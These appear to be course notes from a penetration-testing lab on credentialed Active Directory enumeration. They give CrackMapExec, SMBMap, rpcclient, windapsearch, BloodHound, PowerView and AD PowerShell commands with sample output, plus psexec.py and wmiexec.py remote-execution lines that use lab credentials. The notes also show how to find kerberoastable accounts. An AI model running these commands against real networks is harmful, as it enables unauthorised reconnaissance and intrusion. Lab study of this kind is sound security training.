Credentialed Enumeration

Since we have a general idea about the domain's userbase and machines, it's time to enumerate the domain in depth. We are interested in information about domain user and computer attributes, group membership, Group Policy Objects, permissions, ACLs, trusts, and more.

Most important thing to remember is that most of these tools will not work without valid domain user credentials at any permission level. So at a minimum, we will have to have acquired a user's cleartext password, NTLM password hash, or SYSTEM access on a domain-joined host.

Linux

CrackMapExec

It utilizes packages from the Impacket and PowerSploit toolkits to perform its functions.

Domain User Enumeration

$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\administrator                  badpwdcount: 0 baddpwdtime: 2022-03-29 12:29:14.476567
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\guest                          badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\lab_adm                        badpwdcount: 0 baddpwdtime: 2022-04-09 23:04:58.611828
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\krbtgt                         badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\htb-student                    badpwdcount: 0 baddpwdtime: 2022-03-30 16:27:41.960920
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\avazquez                       badpwdcount: 3 baddpwdtime: 2022-02-24 18:10:01.903395

<SNIP>

Domain Group Enumeration

Take note of key groups like Administrators, Domain Admins, Executives, any groups that may contain privileged IT admins, etc. These groups will likely contain users with elevated privileges worth targeting during our assessment.

$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain group(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Administrators                           membercount: 3
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Users                                    membercount: 4
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Guests                                   membercount: 2
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Print Operators                          membercount: 0
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Backup Operators                         membercount: 1
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Replicator                               membercount: 0

<SNIP>

SMB         172.16.5.5      445    ACADEMY-EA-DC01  Domain Admins                            membercount: 19
SMB         172.16.5.5      445    ACADEMY-EA-DC01  Domain Users                             membercount: 0

<SNIP>

Logged on Users

$ sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users

SMB         172.16.5.130    445    ACADEMY-EA-FILE  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-FILE) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB         172.16.5.130    445    ACADEMY-EA-FILE  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 (Pwn3d!)
SMB         172.16.5.130    445    ACADEMY-EA-FILE  [+] Enumerated loggedon users
SMB         172.16.5.130    445    ACADEMY-EA-FILE  INLANEFREIGHT\clusteragent              logon_server: ACADEMY-EA-DC01
SMB         172.16.5.130    445    ACADEMY-EA-FILE  INLANEFREIGHT\lab_adm                   logon_server: ACADEMY-EA-DC01
SMB         172.16.5.130    445    ACADEMY-EA-FILE  INLANEFREIGHT\svc_qualys                logon_server: ACADEMY-EA-DC01
SMB         172.16.5.130    445    ACADEMY-EA-FILE  INLANEFREIGHT\wley                      logon_server: ACADEMY-EA-DC01

<SNIP>

Share Searching

  • Share Enumeration - Domain Controller

  • We see several shares available to us with READ access. The Department Shares, User Shares, and ZZZ_archive shares would be worth digging into further as they may contain sensitive data such as passwords or PII

    $ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
    
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated shares
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  Share           Permissions     Remark
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  -----           -----------     ------
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  ADMIN$                          Remote Admin
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  C$                              Default share
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  Department Shares READ            
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  IPC$            READ            Remote IPC
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  NETLOGON        READ            Logon server share 
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  SYSVOL          READ            Logon server share 
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  User Shares     READ            
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  ZZZ_archive     READ 
  • spider_plus to will dig through each readable share on the host and list all readable files.

    $ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share 'Department Shares'
    
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
    SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
    SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*] Started spidering plus with option:
    SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]        DIR: ['print$']
    SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]        EXT: ['ico', 'lnk']
    SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]       SIZE: 51200
    SPIDER_P... 172.16.5.5      445    ACADEMY-EA-DC01  [*]     OUTPUT: /tmp/cme_spider_plus

SMBMap

SMBMap is great for enumerating SMB shares from a Linux attack host. It can be used to gather a listing of shares, permissions, and share contents if accessible. Once access is obtained, it can be used to download and upload files and execute remote commands.

SMBMap To Check Access

$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5

[+] IP: 172.16.5.5:445	Name: inlanefreight.local                               
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	Department Shares                                 	READ ONLY	
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	SYSVOL                                            	READ ONLY	Logon server share 
	User Shares                                       	READ ONLY	
	ZZZ_archive                                       	READ ONLY

Recursive List Of All Directories

$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only

[+] IP: 172.16.5.5:445	Name: inlanefreight.local                               
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	Department Shares                                 	READ ONLY	
	.\Department Shares\*
	dr--r--r--                0 Thu Mar 31 15:34:29 2022	.
	dr--r--r--                0 Thu Mar 31 15:34:29 2022	..
	dr--r--r--                0 Thu Mar 31 15:14:48 2022	Accounting
	dr--r--r--                0 Thu Mar 31 15:14:39 2022	Executives
	dr--r--r--                0 Thu Mar 31 15:14:57 2022	Finance
	dr--r--r--                0 Thu Mar 31 15:15:04 2022	HR
	dr--r--r--                0 Thu Mar 31 15:15:21 2022	IT
	dr--r--r--                0 Thu Mar 31 15:15:29 2022	Legal
	dr--r--r--                0 Thu Mar 31 15:15:37 2022	Marketing
	dr--r--r--                0 Thu Mar 31 15:15:47 2022	Operations
	dr--r--r--                0 Thu Mar 31 15:15:58 2022	R&D
	dr--r--r--                0 Thu Mar 31 15:16:10 2022	Temp
	dr--r--r--                0 Thu Mar 31 15:16:18 2022	Warehouse

    <SNIP>

RPCClient

  • RID (Relative Identifier):

    • In rpcclient, users are associated with a field called "rid," which stands for Relative Identifier.

    • RID is a unique hexadecimal identifier used by Windows to track and identify objects.

  • SID (Security Identifier):

    • A SID represents a security identifier in Windows and has a format like S-1-5-21-3842939050-3880317879-2865463114.

    • When an object is created within a domain, this SID is combined with a RID to create a unique value for the object.

  • Example with a User:

    • For example, the domain user "htb-student" with a RID of [0x457] (Hex) or 1111 (decimal) will have a full user SID of S-1-5-21-3842939050-3880317879-2865463114-1111.

    • This unique SID identifies the "htb-student" object in the "INLANEFREIGHT.LOCAL" domain, ensuring no other object in this domain or any other will have the same paired value.

  • Built-In Administrator Account:

    • Certain accounts, like the built-in Administrator for a domain, have the same RID regardless of the host.

    • For instance, the built-in Administrator account may have a RID [administrator] rid:[0x1f4] (Hex), which equals 500 in decimal.

    • This value (RID 500) is consistently associated with the built-in Administrator account and can be used to gather more information about it within the domain.

  • Enumeration with rpcclient:

    • You can utilize rpcclient to explore and enumerate information about objects in the domain, like the "htb-student" user or the built-in Administrator account.

rpcclient -U "" -N 172.16.5.5

RPCClient User Enumeration By RID

rpcclient $> queryuser 0x457

        User Name   :   htb-student
        Full Name   :   Htb Student
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Wed, 02 Mar 2022 15:34:32 EST
        Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
        Kickoff Time             :      Wed, 13 Sep 30828 22:48:05 EDT
        Password last set Time   :      Wed, 27 Oct 2021 12:26:52 EDT
        Password can change Time :      Thu, 28 Oct 2021 12:26:52 EDT
        Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT
        unknown_2[0..31]...
        user_rid :      0x457
        group_rid:      0x201
        acb_info :      0x00000010
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x0000001d
        padding1[0..7]...
        logon_hrs[0..21]...

Enumdomusers

rpcclient $> enumdomusers

user:[administrator] rid:[0x1f4]
user:[guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[lab_adm] rid:[0x3e9]
user:[htb-student] rid:[0x457]
user:[avazquez] rid:[0x458]
user:[pfalcon] rid:[0x459]
user:[fanthony] rid:[0x45a]
user:[wdillard] rid:[0x45b]
user:[lbradford] rid:[0x45c]
user:[sgage] rid:[0x45d]
user:[asanchez] rid:[0x45e]
user:[dbranch] rid:[0x45f]
user:[ccruz] rid:[0x460]
user:[njohnson] rid:[0x461]
user:[mholliday] rid:[0x462]

<SNIP>  

Impacket Toolkit

Impacket is a versatile toolkit that provides us with many different ways to enumerate, interact, and exploit Windows protocols and find the information we need

psexec.py

To connect to a host with psexec.py, we need credentials for a user with local administrator privileges.

$ psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125  

wmiexec.py

This is a more stealthy approach to execution on hosts than other tools, but would still likely be caught by most modern anti-virus and EDR systems.

$ wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5  

Windapsearch

Windapsearch is another handy Python script we can use to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

Windapsearch - Domain Admins

$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da

[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]	Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]	...success! Binded as: 
[+]	 u:INLANEFREIGHT\forend
[+] Attempting to enumerate all Domain Admins
[+] Using DN: CN=Domain Admins,CN=Users.CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+]	Found 28 Domain Admins:

cn: Administrator
userPrincipalName: administrator@inlanefreight.local

cn: lab_adm

cn: Matthew Morgan
userPrincipalName: mmorgan@inlanefreight.local

<SNIP>

Windapsearch - Privileged Users

$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU

[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]     ...success! Binded as:
[+]      u:INLANEFREIGHT\forend
[+] Attempting to enumerate all AD privileged users
[+] Using DN: CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+]     Found 28 nested users for group Domain Admins:

cn: Administrator
userPrincipalName: administrator@inlanefreight.local

cn: lab_adm

cn: Angela Dunn
userPrincipalName: adunn@inlanefreight.local

cn: Matthew Morgan
userPrincipalName: mmorgan@inlanefreight.local

cn: Dorothy Click
userPrincipalName: dclick@inlanefreight.local

<SNIP>

[+] Using DN: CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+]     Found 3 nested users for group Enterprise Admins:

cn: Administrator
userPrincipalName: administrator@inlanefreight.local

cn: lab_adm

cn: Sharepoint Admin
userPrincipalName: sp-admin@INLANEFREIGHT.LOCAL

<SNIP>

Bloodhound.py

Executing BloodHound.py

$ sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all 

INFO: Found AD domain: inlanefreight.local
INFO: Connecting to LDAP server: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 564 computers
INFO: Connecting to LDAP server: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
INFO: Found 2951 users
INFO: Connecting to GC LDAP server: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
INFO: Found 183 groups
INFO: Found 2 trusts
INFO: Starting computer enumeration with 10 workers

<SNIP>

Viewing the Results

  1. Results are saved here

    $ ls
    
    20220307163102_computers.json  20220307163102_domains.json  20220307163102_groups.json  20220307163102_users.json  
  2. Zip the files

    $ zip -r ilfreight_bh.zip *.json
  3. Start neo4j

    $ sudo neo4j start
  4. Start bloodhound

  5. Upload the zip file

  6. Now that the data is loaded, we can use the Analysis tab to run queries against the database. These queries can be custom and specific to what you decide using custom Cypher queries. We can use the built-in Path Finding queries on the Analysis tab on the Left side of the window.

  7. The query chosen to produce the map above was Find Shortest Paths To Domain Admins. It will give us any logical paths it finds through users/groups/hosts/ACLs/GPOs, etc., relationships that will likely allow us to escalate to Domain Administrator privileges or equivalent.


Windows

Active Directory Powershell Module

Discover Modules

PS C:\htb> Get-Module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PS...

Load Modules

PS C:\htb> Import-Module ActiveDirectory
PS C:\htb> Get-Module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Manifest   1.0.1.0    ActiveDirectory                     {Add-ADCentralAccessPolicyMember, Add-ADComputerServiceAcc...
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PS...  

Get Domain Info

PS C:\htb> Get-ADDomain

AllowedDNSSuffixes                 : {}
ChildDomains                       : {LOGISTICS.INLANEFREIGHT.LOCAL}
ComputersContainer                 : CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
DeletedObjectsContainer            : CN=Deleted Objects,DC=INLANEFREIGHT,DC=LOCAL
DistinguishedName                  : DC=INLANEFREIGHT,DC=LOCAL
DNSRoot                            : INLANEFREIGHT.LOCAL
DomainControllersContainer         : OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
DomainMode                         : Windows2016Domain
DomainSID                          : S-1-5-21-3842939050-3880317879-2865463114
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=INLANEFREIGHT,DC=LOCAL
Forest                             : INLANEFREIGHT.LOCAL
InfrastructureMaster               : ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
LastLogonReplicationInterval       :
LinkedGroupPolicyObjects           : {cn={DDBB8574-E94E-4525-8C9D-ABABE31223D0},cn=policies,cn=system,DC=INLANEFREIGHT,
                                     DC=LOCAL, CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=INLAN
                                     EFREIGHT,DC=LOCAL}
LostAndFoundContainer              : CN=LostAndFound,DC=INLANEFREIGHT,DC=LOCAL
ManagedBy                          :
Name                               : INLANEFREIGHT
NetBIOSName                        : INLANEFREIGHT
ObjectClass                        : domainDNS
ObjectGUID                         : 71e4ecd1-a9f6-4f55-8a0b-e8c398fb547a
ParentDomain                       :
PDCEmulator                        : ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
PublicKeyRequiredPasswordRolling   : True
QuotasContainer                    : CN=NTDS Quotas,DC=INLANEFREIGHT,DC=LOCAL
ReadOnlyReplicaDirectoryServers    : {}
ReplicaDirectoryServers            : {ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL}
RIDMaster                          : ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
SubordinateReferences              : {DC=LOGISTICS,DC=INLANEFREIGHT,DC=LOCAL,
                                     DC=ForestDnsZones,DC=INLANEFREIGHT,DC=LOCAL,
                                     DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL,
                                     CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL}
SystemsContainer                   : CN=System,DC=INLANEFREIGHT,DC=LOCAL
UsersContainer                     : CN=Users,DC=INLANEFREIGHT,DC=LOCAL

Get-ADUser

PS C:\htb> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

DistinguishedName    : CN=adfs,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Enabled              : True
GivenName            : Sharepoint
Name                 : adfs
ObjectClass          : user
ObjectGUID           : 49b53bea-4bc4-4a68-b694-b806d9809e95
SamAccountName       : adfs
ServicePrincipalName : {adfsconnect/azure01.inlanefreight.local}
SID                  : S-1-5-21-3842939050-3880317879-2865463114-5244
Surname              : Admin
UserPrincipalName    :

DistinguishedName    : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Enabled              : True
GivenName            : Jessica
Name                 : BACKUPAGENT
ObjectClass          : user
ObjectGUID           : 2ec53e98-3a64-4706-be23-1d824ff61bed
SamAccountName       : backupagent
ServicePrincipalName : {backupjob/veam001.inlanefreight.local}
SID                  : S-1-5-21-3842939050-3880317879-2865463114-5220
Surname              : Systemmailbox 8Cc370d3-822A-4Ab8-A926-Bb94bd0641a9
UserPrincipalName    :

<SNIP>

Checking For Trust Relationships

PS C:\htb> Get-ADTrust -Filter *

Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=LOGISTICS.INLANEFREIGHT.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive        : False
IntraForest             : True
IsTreeParent            : False
IsTreeRoot              : False
Name                    : LOGISTICS.INLANEFREIGHT.LOCAL
ObjectClass             : trustedDomain
ObjectGUID              : f48a1169-2e58-42c1-ba32-a6ccb10057ec
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=INLANEFREIGHT,DC=LOCAL
Target                  : LOGISTICS.INLANEFREIGHT.LOCAL
TGTDelegation           : False
TrustAttributes         : 32
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False

Direction               : BiDirectional
DisallowTransivity      : False
DistinguishedName       : CN=FREIGHTLOGISTICS.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive        : True
IntraForest             : False
IsTreeParent            : False
IsTreeRoot              : False
Name                    : FREIGHTLOGISTICS.LOCAL
ObjectClass             : trustedDomain
ObjectGUID              : 1597717f-89b7-49b8-9cd9-0801d52475ca
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source                  : DC=INLANEFREIGHT,DC=LOCAL
Target                  : FREIGHTLOGISTICS.LOCAL
TGTDelegation           : False
TrustAttributes         : 8
TrustedPolicy           :
TrustingPolicy          :
TrustType               : Uplevel
UplevelOnly             : False
UsesAESKeys             : False
UsesRC4Encryption       : False  

Group Enumeration

PS C:\htb> Get-ADGroup -Filter * | select name

name
----
Administrators
Users
Guests
Print Operators
Backup Operators
Replicator
Remote Desktop Users
Network Configuration Operators
Performance Monitor Users
Performance Log Users
Distributed COM Users
IIS_IUSRS
Cryptographic Operators
Event Log Readers
Certificate Service DCOM Access
RDS Remote Access Servers
RDS Endpoint Servers
RDS Management Servers
Hyper-V Administrators
Access Control Assistance Operators
Remote Management Users
Storage Replica Administrators
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins

<SNIP>

Detailed Group Info

PS C:\htb> Get-ADGroup -Identity "Backup Operators"

DistinguishedName : CN=Backup Operators,CN=Builtin,DC=INLANEFREIGHT,DC=LOCAL
GroupCategory     : Security
GroupScope        : DomainLocal
Name              : Backup Operators
ObjectClass       : group
ObjectGUID        : 6276d85d-9c39-4b7c-8449-cad37e8abc38
SamAccountName    : Backup Operators
SID               : S-1-5-32-551

Group Membership

PS C:\htb> Get-ADGroupMember -Identity "Backup Operators"

distinguishedName : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
name              : BACKUPAGENT
objectClass       : user
objectGUID        : 2ec53e98-3a64-4706-be23-1d824ff61bed
SamAccountName    : backupagent
SID               : S-1-5-21-3842939050-3880317879-2865463114-5220

PowerView

Command

Description

Export-PowerViewCSV

Append results to a CSV file

ConvertTo-SID

Convert a User or group name to its SID value

Get-DomainSPNTicket

Requests the Kerberos ticket for a specified Service Principal Name (SPN) account

Domain/LDAP Functions:

Get-Domain

Will return the AD object for the current (or specified) domain

Get-DomainController

Return a list of the Domain Controllers for the specified domain

Get-DomainUser

Will return all users or specific user objects in AD

Get-DomainComputer

Will return all computers or specific computer objects in AD

Get-DomainGroup

Will return all groups or specific group objects in AD

Get-DomainOU

Search for all or specific OU objects in AD

Find-InterestingDomainAcl

Finds object ACLs in the domain with modification rights set to non-built in objects

Get-DomainGroupMember

Will return the members of a specific domain group

Get-DomainFileServer

Returns a list of servers likely functioning as file servers

Get-DomainDFSShare

Returns a list of all distributed file systems for the current (or specified) domain

GPO Functions:

Get-DomainGPO

Will return all GPOs or specific GPO objects in AD

Get-DomainPolicy

Returns the default domain policy or the domain controller policy for the current domain

Computer Enumeration Functions:

Get-NetLocalGroup

Enumerates local groups on the local or a remote machine

Get-NetLocalGroupMember

Enumerates members of a specific local group

Get-NetShare

Returns open shares on the local (or a remote) machine

Get-NetSession

Will return session information for the local (or a remote) machine

Test-AdminAccess

Tests if the current user has administrative access to the local (or a remote) machine

Threaded 'Meta'-Functions:

Find-DomainUserLocation

Finds machines where specific users are logged in

Find-DomainShare

Finds reachable shares on domain machines

Find-InterestingDomainShareFile

Searches for files matching specific criteria on readable shares in the domain

Find-LocalAdminAccess

Find machines on the local domain where the current user has local administrator access

Domain Trust Functions:

Get-DomainTrust

Returns domain trusts for the current domain or a specified domain

Get-ForestTrust

Returns all forest trusts for the current forest or a specified forest

Get-DomainForeignUser

Enumerates users who are in groups outside of the user's domain

Get-DomainForeignGroupMember

Enumerates groups with users outside of the group's domain and returns each foreign member

Get-DomainTrustMapping

Will enumerate all trusts for the current domain and any others seen.

Domain User Information

PS C:\htb> Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

name                 : Matthew Morgan
samaccountname       : mmorgan
description          :
memberof             : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                       Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                       Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                       Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
whencreated          : 10/27/2021 5:37:06 PM
pwdlastset           : 11/18/2021 10:02:57 AM
lastlogontimestamp   : 2/27/2022 6:34:25 PM
accountexpires       : NEVER
admincount           : 1
userprincipalname    : mmorgan@inlanefreight.local
serviceprincipalname :
mail                 :
useraccountcontrol   : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH

Recursive Group Membership

PS C:\htb>  Get-DomainGroupMember -Identity "Domain Admins" -Recurse

GroupDomain             : INLANEFREIGHT.LOCAL
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
MemberDomain            : INLANEFREIGHT.LOCAL
MemberName              : svc_qualys
MemberDistinguishedName : CN=svc_qualys,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberObjectClass       : user
MemberSID               : S-1-5-21-3842939050-3880317879-2865463114-5613

GroupDomain             : INLANEFREIGHT.LOCAL
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
MemberDomain            : INLANEFREIGHT.LOCAL
MemberName              : sp-admin
MemberDistinguishedName : CN=Sharepoint Admin,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberObjectClass       : user
MemberSID               : S-1-5-21-3842939050-3880317879-2865463114-5228

GroupDomain             : INLANEFREIGHT.LOCAL
GroupName               : Secadmins
GroupDistinguishedName  : CN=Secadmins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberDomain            : INLANEFREIGHT.LOCAL
MemberName              : spong1990
MemberDistinguishedName : CN=Maggie
                          Jablonski,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberObjectClass       : user
MemberSID               : S-1-5-21-3842939050-3880317879-2865463114-1965

<SNIP>  

Trust Enumeration

PS C:\htb> Get-DomainTrustMapping

SourceName      : INLANEFREIGHT.LOCAL
TargetName      : LOGISTICS.INLANEFREIGHT.LOCAL
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 11/1/2021 6:20:22 PM
WhenChanged     : 2/26/2022 11:55:55 PM

SourceName      : INLANEFREIGHT.LOCAL
TargetName      : FREIGHTLOGISTICS.LOCAL
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 11/1/2021 8:07:09 PM
WhenChanged     : 2/27/2022 12:02:39 AM

SourceName      : LOGISTICS.INLANEFREIGHT.LOCAL
TargetName      : INLANEFREIGHT.LOCAL
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 11/1/2021 6:20:22 PM
WhenChanged     : 2/26/2022 11:55:55 PM 

Testing for Local Admin Access

PS C:\htb> Test-AdminAccess -ComputerName ACADEMY-EA-MS01

ComputerName    IsAdmin
------------    -------
ACADEMY-EA-MS01    True 

Finding Users With SPN Set

This will help us find kerberoastable accounts

PS C:\htb> Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

serviceprincipalname                          samaccountname
--------------------                          --------------
adfsconnect/azure01.inlanefreight.local       adfs
backupjob/veam001.inlanefreight.local         backupagent
d0wngrade/kerberoast.inlanefreight.local      d0wngrade
kadmin/changepw                               krbtgt
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 sqldev
MSSQLSvc/SPSJDB.inlanefreight.local:1433      sqlprod
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351 sqlqa
sts/inlanefreight.local                       solarwindsmonitor
testspn/kerberoast.inlanefreight.local        testspn
testspn2/kerberoast.inlanefreight.local       testspn2

SharpView

PS C:\htb> .\SharpView.exe Get-DomainUser -Help

